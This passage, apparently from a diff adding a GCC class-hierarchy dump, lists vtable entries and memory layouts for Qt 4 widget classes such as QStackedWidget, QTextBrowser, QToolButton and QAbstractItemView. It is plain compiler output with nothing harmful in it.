+20 QStackedWidget::~QStackedWidget
+24 QStackedWidget::~QStackedWidget
+28 QStackedWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QFrame::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QFrame::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI14QStackedWidget)
+232 QStackedWidget::_ZThn8_N14QStackedWidgetD1Ev
+236 QStackedWidget::_ZThn8_N14QStackedWidgetD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QStackedWidget
+ size=20 align=4
+ base size=20 base align=4
+QStackedWidget (0xb2f20740) 0
+ vptr=((& QStackedWidget::_ZTV14QStackedWidget) + 8u)
+ QFrame (0xb2f20780) 0
+ primary-for QStackedWidget (0xb2f20740)
+ QWidget (0xb2f40690) 0
+ primary-for QFrame (0xb2f20780)
+ QObject (0xb30e8e10) 0
+ primary-for QWidget (0xb2f40690)
+ QPaintDevice (0xb30e8e4c) 8
+ vptr=((& QStackedWidget::_ZTV14QStackedWidget) + 232u)
+
+Vtable for QStatusBar
+QStatusBar::_ZTV10QStatusBar: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QStatusBar)
+8 QStatusBar::metaObject
+12 QStatusBar::qt_metacast
+16 QStatusBar::qt_metacall
+20 QStatusBar::~QStatusBar
+24 QStatusBar::~QStatusBar
+28 QStatusBar::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QStatusBar::paintEvent
+128 QWidget::moveEvent
+132 QStatusBar::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QStatusBar::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI10QStatusBar)
+232 QStatusBar::_ZThn8_N10QStatusBarD1Ev
+236 QStatusBar::_ZThn8_N10QStatusBarD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QStatusBar
+ size=20 align=4
+ base size=20 base align=4
+QStatusBar (0xb2f20a40) 0
+ vptr=((& QStatusBar::_ZTV10QStatusBar) + 8u)
+ QWidget (0xb2f57190) 0
+ primary-for QStatusBar (0xb2f20a40)
+ QObject (0xb2f5a078) 0
+ primary-for QWidget (0xb2f57190)
+ QPaintDevice (0xb2f5a0b4) 8
+ vptr=((& QStatusBar::_ZTV10QStatusBar) + 232u)
+
+Vtable for QTextBrowser
+QTextBrowser::_ZTV12QTextBrowser: 74u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QTextBrowser)
+8 QTextBrowser::metaObject
+12 QTextBrowser::qt_metacast
+16 QTextBrowser::qt_metacall
+20 QTextBrowser::~QTextBrowser
+24 QTextBrowser::~QTextBrowser
+28 QTextBrowser::event
+32 QObject::eventFilter
+36 QTextEdit::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QTextBrowser::mousePressEvent
+84 QTextBrowser::mouseReleaseEvent
+88 QTextEdit::mouseDoubleClickEvent
+92 QTextBrowser::mouseMoveEvent
+96 QTextEdit::wheelEvent
+100 QTextBrowser::keyPressEvent
+104 QTextEdit::keyReleaseEvent
+108 QTextEdit::focusInEvent
+112 QTextBrowser::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTextBrowser::paintEvent
+128 QWidget::moveEvent
+132 QTextEdit::resizeEvent
+136 QWidget::closeEvent
+140 QTextEdit::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QTextEdit::dragEnterEvent
+156 QTextEdit::dragMoveEvent
+160 QTextEdit::dragLeaveEvent
+164 QTextEdit::dropEvent
+168 QTextEdit::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QTextEdit::changeEvent
+184 QWidget::metric
+188 QTextEdit::inputMethodEvent
+192 QTextEdit::inputMethodQuery
+196 QTextBrowser::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractScrollArea::viewportEvent
+228 QTextEdit::scrollContentsBy
+232 QTextBrowser::loadResource
+236 QTextEdit::createMimeDataFromSelection
+240 QTextEdit::canInsertFromMimeData
+244 QTextEdit::insertFromMimeData
+248 QTextBrowser::setSource
+252 QTextBrowser::backward
+256 QTextBrowser::forward
+260 QTextBrowser::home
+264 QTextBrowser::reload
+268 (int (*)(...))-0x000000008
+272 (int (*)(...))(& _ZTI12QTextBrowser)
+276 QTextBrowser::_ZThn8_N12QTextBrowserD1Ev
+280 QTextBrowser::_ZThn8_N12QTextBrowserD0Ev
+284 QWidget::_ZThn8_NK7QWidget7devTypeEv
+288 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+292 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTextBrowser
+ size=20 align=4
+ base size=20 base align=4
+QTextBrowser (0xb2f20e40) 0
+ vptr=((& QTextBrowser::_ZTV12QTextBrowser) + 8u)
+ QTextEdit (0xb2f20e80) 0
+ primary-for QTextBrowser (0xb2f20e40)
+ QAbstractScrollArea (0xb2f20ec0) 0
+ primary-for QTextEdit (0xb2f20e80)
+ QFrame (0xb2f20f00) 0
+ primary-for QAbstractScrollArea (0xb2f20ec0)
+ QWidget (0xb2f639b0) 0
+ primary-for QFrame (0xb2f20f00)
+ QObject (0xb2f5a2d0) 0
+ primary-for QWidget (0xb2f639b0)
+ QPaintDevice (0xb2f5a30c) 8
+ vptr=((& QTextBrowser::_ZTV12QTextBrowser) + 276u)
+
+Vtable for QToolBar
+QToolBar::_ZTV8QToolBar: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QToolBar)
+8 QToolBar::metaObject
+12 QToolBar::qt_metacast
+16 QToolBar::qt_metacall
+20 QToolBar::~QToolBar
+24 QToolBar::~QToolBar
+28 QToolBar::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QToolBar::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QToolBar::paintEvent
+128 QWidget::moveEvent
+132 QToolBar::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QToolBar::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QToolBar::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI8QToolBar)
+232 QToolBar::_ZThn8_N8QToolBarD1Ev
+236 QToolBar::_ZThn8_N8QToolBarD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QToolBar
+ size=20 align=4
+ base size=20 base align=4
+QToolBar (0xb2f791c0) 0
+ vptr=((& QToolBar::_ZTV8QToolBar) + 8u)
+ QWidget (0xb2f7e1e0) 0
+ primary-for QToolBar (0xb2f791c0)
+ QObject (0xb2f5a528) 0
+ primary-for QWidget (0xb2f7e1e0)
+ QPaintDevice (0xb2f5a564) 8
+ vptr=((& QToolBar::_ZTV8QToolBar) + 232u)
+
+Vtable for QToolBox
+QToolBox::_ZTV8QToolBox: 65u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QToolBox)
+8 QToolBox::metaObject
+12 QToolBox::qt_metacast
+16 QToolBox::qt_metacall
+20 QToolBox::~QToolBox
+24 QToolBox::~QToolBox
+28 QToolBox::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QFrame::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QFrame::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QToolBox::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QToolBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QToolBox::itemInserted
+228 QToolBox::itemRemoved
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI8QToolBox)
+240 QToolBox::_ZThn8_N8QToolBoxD1Ev
+244 QToolBox::_ZThn8_N8QToolBoxD0Ev
+248 QWidget::_ZThn8_NK7QWidget7devTypeEv
+252 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+256 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QToolBox
+ size=20 align=4
+ base size=20 base align=4
+QToolBox (0xb2f795c0) 0
+ vptr=((& QToolBox::_ZTV8QToolBox) + 8u)
+ QFrame (0xb2f79600) 0
+ primary-for QToolBox (0xb2f795c0)
+ QWidget (0xb2f8dc80) 0
+ primary-for QFrame (0xb2f79600)
+ QObject (0xb2f5a8ac) 0
+ primary-for QWidget (0xb2f8dc80)
+ QPaintDevice (0xb2f5a8e8) 8
+ vptr=((& QToolBox::_ZTV8QToolBox) + 240u)
+
+Vtable for QToolButton
+QToolButton::_ZTV11QToolButton: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QToolButton)
+8 QToolButton::metaObject
+12 QToolButton::qt_metacast
+16 QToolButton::qt_metacall
+20 QToolButton::~QToolButton
+24 QToolButton::~QToolButton
+28 QToolButton::event
+32 QObject::eventFilter
+36 QToolButton::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QToolButton::sizeHint
+68 QToolButton::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QToolButton::mousePressEvent
+84 QToolButton::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractButton::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QAbstractButton::keyPressEvent
+104 QAbstractButton::keyReleaseEvent
+108 QAbstractButton::focusInEvent
+112 QAbstractButton::focusOutEvent
+116 QToolButton::enterEvent
+120 QToolButton::leaveEvent
+124 QToolButton::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QToolButton::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QToolButton::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QToolButton::hitButton
+228 QAbstractButton::checkStateSet
+232 QToolButton::nextCheckState
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI11QToolButton)
+244 QToolButton::_ZThn8_N11QToolButtonD1Ev
+248 QToolButton::_ZThn8_N11QToolButtonD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QToolButton
+ size=20 align=4
+ base size=20 base align=4
+QToolButton (0xb2f79c00) 0
+ vptr=((& QToolButton::_ZTV11QToolButton) + 8u)
+ QAbstractButton (0xb2f79c40) 0
+ primary-for QToolButton (0xb2f79c00)
+ QWidget (0xb2fb2aa0) 0
+ primary-for QAbstractButton (0xb2f79c40)
+ QObject (0xb2f5afb4) 0
+ primary-for QWidget (0xb2fb2aa0)
+ QPaintDevice (0xb2fbb000) 8
+ vptr=((& QToolButton::_ZTV11QToolButton) + 244u)
+
+Vtable for QWorkspace
+QWorkspace::_ZTV10QWorkspace: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QWorkspace)
+8 QWorkspace::metaObject
+12 QWorkspace::qt_metacast
+16 QWorkspace::qt_metacall
+20 QWorkspace::~QWorkspace
+24 QWorkspace::~QWorkspace
+28 QWorkspace::event
+32 QWorkspace::eventFilter
+36 QObject::timerEvent
+40 QWorkspace::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWorkspace::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWorkspace::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWorkspace::paintEvent
+128 QWidget::moveEvent
+132 QWorkspace::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWorkspace::showEvent
+172 QWorkspace::hideEvent
+176 QWidget::x11Event
+180 QWorkspace::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI10QWorkspace)
+232 QWorkspace::_ZThn8_N10QWorkspaceD1Ev
+236 QWorkspace::_ZThn8_N10QWorkspaceD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QWorkspace
+ size=20 align=4
+ base size=20 base align=4
+QWorkspace (0xb2fd5380) 0
+ vptr=((& QWorkspace::_ZTV10QWorkspace) + 8u)
+ QWidget (0xb2fd8be0) 0
+ primary-for QWorkspace (0xb2fd5380)
+ QObject (0xb2fbb654) 0
+ primary-for QWidget (0xb2fd8be0)
+ QPaintDevice (0xb2fbb690) 8
+ vptr=((& QWorkspace::_ZTV10QWorkspace) + 232u)
+
+Vtable for QCompleter
+QCompleter::_ZTV10QCompleter: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QCompleter)
+8 QCompleter::metaObject
+12 QCompleter::qt_metacast
+16 QCompleter::qt_metacall
+20 QCompleter::~QCompleter
+24 QCompleter::~QCompleter
+28 QCompleter::event
+32 QCompleter::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QCompleter::pathFromIndex
+60 QCompleter::splitPath
+
+Class QCompleter
+ size=8 align=4
+ base size=8 base align=4
+QCompleter (0xb2fd5640) 0
+ vptr=((& QCompleter::_ZTV10QCompleter) + 8u)
+ QObject (0xb2fbb8ac) 0
+ primary-for QCompleter (0xb2fd5640)
+
+Class QDesktopServices
+ size=1 align=1
+ base size=0 base align=1
+QDesktopServices (0xb2fbbac8) 0 empty
+
+Vtable for QSystemTrayIcon
+QSystemTrayIcon::_ZTV15QSystemTrayIcon: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QSystemTrayIcon)
+8 QSystemTrayIcon::metaObject
+12 QSystemTrayIcon::qt_metacast
+16 QSystemTrayIcon::qt_metacall
+20 QSystemTrayIcon::~QSystemTrayIcon
+24 QSystemTrayIcon::~QSystemTrayIcon
+28 QSystemTrayIcon::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QSystemTrayIcon
+ size=8 align=4
+ base size=8 base align=4
+QSystemTrayIcon (0xb2fd5940) 0
+ vptr=((& QSystemTrayIcon::_ZTV15QSystemTrayIcon) + 8u)
+ QObject (0xb2fbbb40) 0
+ primary-for QSystemTrayIcon (0xb2fd5940)
+
+Vtable for QUndoGroup
+QUndoGroup::_ZTV10QUndoGroup: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QUndoGroup)
+8 QUndoGroup::metaObject
+12 QUndoGroup::qt_metacast
+16 QUndoGroup::qt_metacall
+20 QUndoGroup::~QUndoGroup
+24 QUndoGroup::~QUndoGroup
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QUndoGroup
+ size=8 align=4
+ base size=8 base align=4
+QUndoGroup (0xb2fd5cc0) 0
+ vptr=((& QUndoGroup::_ZTV10QUndoGroup) + 8u)
+ QObject (0xb2fbbd5c) 0
+ primary-for QUndoGroup (0xb2fd5cc0)
+
+Vtable for QUndoCommand
+QUndoCommand::_ZTV12QUndoCommand: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QUndoCommand)
+8 QUndoCommand::~QUndoCommand
+12 QUndoCommand::~QUndoCommand
+16 QUndoCommand::undo
+20 QUndoCommand::redo
+24 QUndoCommand::id
+28 QUndoCommand::mergeWith
+
+Class QUndoCommand
+ size=8 align=4
+ base size=8 base align=4
+QUndoCommand (0xb2fbbf78) 0
+ vptr=((& QUndoCommand::_ZTV12QUndoCommand) + 8u)
+
+Vtable for QUndoStack
+QUndoStack::_ZTV10QUndoStack: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QUndoStack)
+8 QUndoStack::metaObject
+12 QUndoStack::qt_metacast
+16 QUndoStack::qt_metacall
+20 QUndoStack::~QUndoStack
+24 QUndoStack::~QUndoStack
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QUndoStack
+ size=8 align=4
+ base size=8 base align=4
+QUndoStack (0xb2fd5fc0) 0
+ vptr=((& QUndoStack::_ZTV10QUndoStack) + 8u)
+ QObject (0xb2fbbfb4) 0
+ primary-for QUndoStack (0xb2fd5fc0)
+
+Class QItemSelectionRange
+ size=8 align=4
+ base size=8 base align=4
+QItemSelectionRange (0xb2e391e0) 0
+
+Vtable for QItemSelectionModel
+QItemSelectionModel::_ZTV19QItemSelectionModel: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QItemSelectionModel)
+8 QItemSelectionModel::metaObject
+12 QItemSelectionModel::qt_metacast
+16 QItemSelectionModel::qt_metacall
+20 QItemSelectionModel::~QItemSelectionModel
+24 QItemSelectionModel::~QItemSelectionModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QItemSelectionModel::select
+60 QItemSelectionModel::select
+64 QItemSelectionModel::clear
+68 QItemSelectionModel::reset
+
+Class QItemSelectionModel
+ size=8 align=4
+ base size=8 base align=4
+QItemSelectionModel (0xb2e2cd40) 0
+ vptr=((& QItemSelectionModel::_ZTV19QItemSelectionModel) + 8u)
+ QObject (0xb2e74258) 0
+ primary-for QItemSelectionModel (0xb2e2cd40)
+
+Class QItemSelection
+ size=4 align=4
+ base size=4 base align=4
+QItemSelection (0xb2e91200) 0
+ QList<QItemSelectionRange> (0xb2e74618) 0
+
+Vtable for QAbstractItemView
+QAbstractItemView::_ZTV17QAbstractItemView: 103u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QAbstractItemView)
+8 QAbstractItemView::metaObject
+12 QAbstractItemView::qt_metacast
+16 QAbstractItemView::qt_metacall
+20 QAbstractItemView::~QAbstractItemView
+24 QAbstractItemView::~QAbstractItemView
+28 QAbstractItemView::event
+32 QObject::eventFilter
+36 QAbstractItemView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractItemView::mousePressEvent
+84 QAbstractItemView::mouseReleaseEvent
+88 QAbstractItemView::mouseDoubleClickEvent
+92 QAbstractItemView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QAbstractScrollArea::paintEvent
+128 QWidget::moveEvent
+132 QAbstractItemView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QAbstractItemView::dragMoveEvent
+160 QAbstractItemView::dragLeaveEvent
+164 QAbstractItemView::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractItemView::viewportEvent
+228 QAbstractScrollArea::scrollContentsBy
+232 QAbstractItemView::setModel
+236 QAbstractItemView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 __cxa_pure_virtual
+248 __cxa_pure_virtual
+252 __cxa_pure_virtual
+256 QAbstractItemView::sizeHintForRow
+260 QAbstractItemView::sizeHintForColumn
+264 QAbstractItemView::reset
+268 QAbstractItemView::setRootIndex
+272 QAbstractItemView::doItemsLayout
+276 QAbstractItemView::selectAll
+280 QAbstractItemView::dataChanged
+284 QAbstractItemView::rowsInserted
+288 QAbstractItemView::rowsAboutToBeRemoved
+292 QAbstractItemView::selectionChanged
+296 QAbstractItemView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QAbstractItemView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QAbstractItemView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 __cxa_pure_virtual
+344 __cxa_pure_virtual
+348 __cxa_pure_virtual
+352 __cxa_pure_virtual
+356 __cxa_pure_virtual
+360 __cxa_pure_virtual
+364 QAbstractItemView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QAbstractItemView::startDrag
+380 QAbstractItemView::viewOptions
+384 (int (*)(...))-0x000000008
+388 (int (*)(...))(& _ZTI17QAbstractItemView)
+392 QAbstractItemView::_ZThn8_N17QAbstractItemViewD1Ev
+396 QAbstractItemView::_ZThn8_N17QAbstractItemViewD0Ev
+400 QWidget::_ZThn8_NK7QWidget7devTypeEv
+404 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+408 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QAbstractItemView
+ size=20 align=4
+ base size=20 base align=4
+QAbstractItemView (0xb2e91380) 0
+ vptr=((& QAbstractItemView::_ZTV17QAbstractItemView) + 8u)
+ QAbstractScrollArea (0xb2e913c0) 0
+ primary-for QAbstractItemView (0xb2e91380)
+ QFrame (0xb2e91400) 0
+ primary-for QAbstractScrollArea (0xb2e913c0)
+ QWidget (0xb2ec5780) 0
+ primary-for QFrame (0xb2e91400)
+ QObject (0xb2e747bc) 0
+ primary-for QWidget (0xb2ec5780)
+ QPaintDevice (0xb2e747f8) 8
+ vptr=((& QAbstractItemView::_ZTV17QAbstractItemView) + 392u)
+
+Vtable for QListView
+QListView::_ZTV9QListView: 103u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QListView)
+8 QListView::metaObject
+12 QListView::qt_metacast
+16 QListView::qt_metacall
+20 QListView::~QListView
+24 QListView::~QListView
+28 QListView::event
+32 QObject::eventFilter
+36 QListView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
